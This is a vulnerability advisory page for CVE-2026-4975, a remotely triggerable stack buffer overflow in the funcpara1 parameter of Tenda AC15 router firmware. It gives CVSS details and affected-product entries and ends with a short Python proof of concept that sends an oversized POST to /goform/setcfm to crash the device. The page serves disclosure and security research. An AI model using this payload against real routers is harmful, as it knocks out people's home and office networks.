Security Vulnerability Report
中文
CVE-2026-4975 CVSS 8.8 HIGH

CVE-2026-4975

Published: 2026-03-27 20:16:39
Last Modified: 2026-04-03 11:32:39

Description

A vulnerability has been found in Tenda AC15 15.03.05.19. This affects the function formSetCfm of the file /goform/setcfm of the component POST Request Handler. The manipulation of the argument funcpara1 leads to stack-based buffer overflow. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:tenda:ac15_firmware:15.03.05.19_multi:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:tenda:ac15:1.0:*:*:*:*:*:*:* - NOT VULNERABLE
Tenda AC15 15.03.05.19

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (Replace with actual IP) target_url = "http://192.168.0.1/goform/setcfm" # Vulnerable parameter payload = { "funcpara1": "A" * 1000 # Sending long string to trigger buffer overflow } try: # Sending POST request response = requests.post(target_url, data=payload) print(f"Status Code: {response.status_code}") # If the device crashes or hangs, the vulnerability is confirmed except Exception as e: print(f"An error occurred (device may have crashed): {e}")

References

Raw JSON Data

JSON
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